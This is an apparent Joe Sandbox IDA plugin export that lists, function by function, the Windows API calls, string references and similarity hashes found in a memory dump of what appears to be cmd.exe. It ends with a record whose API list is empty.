Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 1161012917-1690691951
Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction ID: c6f7732fa913ecc4eabd685980108612098e441493d48bc4e7b41787c3bd4977
Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction Fuzzy Hash: FB919E61B1D652CAFB19BF60E8001BDBAA0AF4DB54F488535DD2E826F6EF3CA4558310

Function 00007FF64B566EE4 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 342timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B566F34
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF64B566F49
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B566F5F
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF64B566F74
realloc.MSVCRT ref: 00007FF64B584327

Part of subcall function 00007FF64B575508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF64B566F97), ref: 00007FF64B57550C

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B566FA8
memmove.MSVCRT ref: 00007FF64B56702F
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF64B567064

Strings

%s %s , xrefs: 00007FF64B584400
%s , xrefs: 00007FF64B5843ED
%02d%s%02d%s%02d, xrefs: 00007FF64B584355

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Time$File$System$DateDefaultFormatInfoLangLocalLocaleUsermemmoverealloc
String ID: %02d%s%02d%s%02d$%s $%s %s
API String ID: 4111365348-4023967598
Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction ID: 56eaca8967e698e2f0e7421b6565be74eb2667748ddab9bf803b72348dbae822
Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction Fuzzy Hash: 04E1BD61A0C64286EB18BF68E8402B9E6A1FB4C784F545132DE2ED76B6EF3CE544C740

Function 00007FF64B5632B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B573578: _get_osfhandle.MSVCRT ref: 00007FF64B573584
Part of subcall function 00007FF64B573578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B57359C
Part of subcall function 00007FF64B573578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735C3
Part of subcall function 00007FF64B573578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735D9
Part of subcall function 00007FF64B573578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735ED
Part of subcall function 00007FF64B573578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B573602

_get_osfhandle.MSVCRT ref: 00007FF64B5632F3
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF64B5632A4), ref: 00007FF64B563309
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B563384
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5811DF

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
String ID:
API String ID: 611521582-0
Opcode ID: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction ID: f32850567fa681843f6163d2ac266a28dda948b052cbc68ed2e68ee366fc2278
Opcode Fuzzy Hash: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction Fuzzy Hash: EFA18D62B1C612CAEB18BF65E8042BDE7A1BB4CB55F445135CD2E877A2DF3CA445C700

Function 00007FF64B563410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B563477
wcschr.MSVCRT ref: 00007FF64B5634A0
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5634DF
_ultoa.MSVCRT ref: 00007FF64B5812DA
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5812E6
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B58131E

Strings

System, xrefs: 00007FF64B58133A
, xrefs: 00007FF64B5812FB
Application, xrefs: 00007FF64B581341

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: $Application$System
API String ID: 3538039442-1881496484
Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction ID: 8b7655ad0995705079f61c8dfd876facb16502650f6151eb71ee8f1d67263b1c
Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction Fuzzy Hash: FB517872A0CB41D6EA28BF15F40467AFAA1FB8DB44F449134DA6E837A6DF3CD4558700

Function 00007FF64B56372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B563921

Part of subcall function 00007FF64B5709F4: iswspace.MSVCRT ref: 00007FF64B570A11
Part of subcall function 00007FF64B5709F4: wcschr.MSVCRT ref: 00007FF64B570A2B

wcsrchr.MSVCRT ref: 00007FF64B5637D2
_wcsnicmp.MSVCRT ref: 00007FF64B56381A
wcsrchr.MSVCRT ref: 00007FF64B563A0C
wcsrchr.MSVCRT ref: 00007FF64B563A35
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B563A9D
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B563ACC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B563AE1
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B563B1E

Strings

\, xrefs: 00007FF64B563AB9
COPYCMD, xrefs: 00007FF64B5637AE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
String ID: COPYCMD$\
API String ID: 3989487059-1802776761
Opcode ID: 96accb7c683da629c5902687fcfdce68ec2ad7ffcff5cd83664200e6c3670c7a
Instruction ID: d23267da223f3177cdc7264bb2459d0bcb305b54b112c621c2219d8d5747a87d
Opcode Fuzzy Hash: 96accb7c683da629c5902687fcfdce68ec2ad7ffcff5cd83664200e6c3670c7a
Instruction Fuzzy Hash: 52F1A365B0D74686EA58BF15D4402BAA3A0FF4DB88F049135CA6E877B6EF3CE456C700

Function 00007FF64B56B0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B56B13F

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

_get_osfhandle.MSVCRT ref: 00007FF64B56B22A
_get_osfhandle.MSVCRT ref: 00007FF64B56B241

Part of subcall function 00007FF64B571EA0: wcschr.MSVCRT ref: 00007FF64B571EB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B56B2F7

Strings

DPATH, xrefs: 00007FF64B57C078

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _get_osfhandlememset$wcschr
String ID: DPATH
API String ID: 3260997497-2010427443
Opcode ID: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
Instruction ID: aeded69d1deff569d6c27c772e4ccf758eb877cdf12b650f04daa57d632840d1
Opcode Fuzzy Hash: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
Instruction Fuzzy Hash: B6D16E62A0C64286EA28BF65D44127DA3A1FF4CB94F049235DA3D877F6DF7CE8428740

Function 00007FF64B577FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 00007FF64B57802B
NtOpenFile.NTDLL ref: 00007FF64B578092
RtlReleaseRelativeName.NTDLL ref: 00007FF64B5780A4
RtlFreeUnicodeString.NTDLL ref: 00007FF64B5780B4

Part of subcall function 00007FF64B578114: NtQueryVolumeInformationFile.NTDLL ref: 00007FF64B578151

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF64B5780E2
NtSetInformationFile.NTDLL ref: 00007FF64B580327
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B580342
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B580356

Strings

@P, xrefs: 00007FF64B57805E

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @P
API String ID: 1801357106-3670739982
Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction ID: b981e3402924b73629449f4e0b3a5054bb53462ff947af1bb44ddc96a7433e42
Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction Fuzzy Hash: AC416C72B08A45DBE714BF65E4402EDBBA0FB8D748F448231DA2D87AA9DF78D504C750

Function 00007FF64B57823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON

Download Yara Rule

APIs

FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B578280
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B57829D

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction ID: 1a5e6a20f65ea1444c3ba0a994107923bf927ef6258784a60b42afbdfa6940ca
Opcode Fuzzy Hash: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction Fuzzy Hash: D9512A75A0DB46C6E708BF16E844579BBA0FB4DB82F448131CA2E933B2DF7CE4548A00

Function 00007FF64B58AC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58AD67
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58ADF0
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58AE17
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58AE94
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58AED1
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58AEFA

Strings

%s=%s, xrefs: 00007FF64B58AEA9
\Shell\Open\Command, xrefs: 00007FF64B58AD12

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command
API String ID: 4081037667-3301834661
Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction ID: 73a72cd1bf253df1d56617c743745bac20c171e6c144ddcacd44bd31db096e6d
Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction Fuzzy Hash: DD71B061B1DA8282FB28BF25E0502B9E2A1FF8D790F444531DA6EC77A6DF3CD4528700

Function 00007FF64B561884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF64B56194E
_wcsnicmp.MSVCRT ref: 00007FF64B5619A1
wcsrchr.MSVCRT ref: 00007FF64B561A1D
_wcsnicmp.MSVCRT ref: 00007FF64B561A75

Strings

COPYCMD, xrefs: 00007FF64B56192B, 00007FF64B5619F9

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsnicmpwcsrchr
String ID: COPYCMD
API String ID: 2429825313-3727491224
Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction ID: 9c3c85710a87eb6f2cced68a4cbcd21a63bfa51a226422d846a0e77a8591a17a
Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction Fuzzy Hash: EDF19461F1C65286FB68BF61D0402BDB2A1AF0C798F046235DE6DA36F6DE3CA461C750

Function 00007FF64B58BCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF64B58BD2C
fflush.MSVCRT ref: 00007FF64B58BD45
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B58BD62
NtCancelSynchronousIoFile.NTDLL ref: 00007FF64B58BD80
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B58BD93
_get_osfhandle.MSVCRT ref: 00007FF64B58BDB5
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF64B58BDC4

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3476366620-0
Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction ID: 395d03e1ad5f49c723992d21ad1e0c11ce3f5d2faa81067370a8d41c44f4856e
Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction Fuzzy Hash: EA21AA6091DA42E6FA1C7F20E8153B8E695FF4EB15F845235C57E822F3DF3DA4158610

Function 00007FF64B563D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF64B563DD4

Part of subcall function 00007FF64B57417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5741AD

Part of subcall function 00007FF64B561884: wcsrchr.MSVCRT ref: 00007FF64B56194E
Part of subcall function 00007FF64B561884: _wcsnicmp.MSVCRT ref: 00007FF64B5619A1

NtQueryInformationProcess.NTDLL ref: 00007FF64B563E9C
NtSetInformationProcess.NTDLL ref: 00007FF64B563EC9
NtSetInformationProcess.NTDLL ref: 00007FF64B563F4D

Strings

%9d, xrefs: 00007FF64B563EF9

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
String ID: %9d
API String ID: 1006866328-2241623522
Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction ID: 96f7c6f0b9e914580af8da4ea81904e43cae778264fa8755bf0729cd7e42fc09
Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction Fuzzy Hash: 37515E72A0C6428AE708BF51E8405A9B7A4FB4C768F445635DA3D937B6CF7CE505CB10

Function 00007FF64B569B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction ID: 19473c67f3ab8c86f3a72e33b2968d20a698f7508df448ca0951b9bf2e49e812
Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction Fuzzy Hash: 15A15F21B1C64286FA58BF25E451679B6A1FF9C780F449135DE6EC77B6DE3CE8018700

Function 00007FF64B56D250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF64B56D292

Strings

GeToken: (%x) '%s', xrefs: 00007FF64B57D0C8

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmp
String ID: GeToken: (%x) '%s'
API String ID: 2081463915-1994581435
Opcode ID: e3a6cb9c4f4fe1a277f0a8ebff47e1c814c31c2abc96469986f3b1ea96a28bad
Instruction ID: 5d8c9cfa1363cc4c7856ae7e877b170e1ec5d7da771a4c495bac615dcc369b62
Opcode Fuzzy Hash: e3a6cb9c4f4fe1a277f0a8ebff47e1c814c31c2abc96469986f3b1ea96a28bad
Instruction Fuzzy Hash: F0718B20E0D68685FB6CBF68E844279B6A0AF1C750F546935D53EC66F3EF7CA8818740

Function 00007FF64B5863FC Relevance: 4.7, APIs: 3, Instructions: 179threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B5864FD
IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00007FF64B5865F5
OutputDebugStringW.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00007FF64B58666F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
Instruction ID: 714fba376f185e127b50bb2ea7383be33fa188cff2b4eb804aa93f92d3d311d0
Opcode Fuzzy Hash: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
Instruction Fuzzy Hash: 8D816C62A1C78281EB68BF26E440239B7A0FF4DB84F185535CA6D83776DF7DE8518700

Function 00007FF64B56F8C0 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

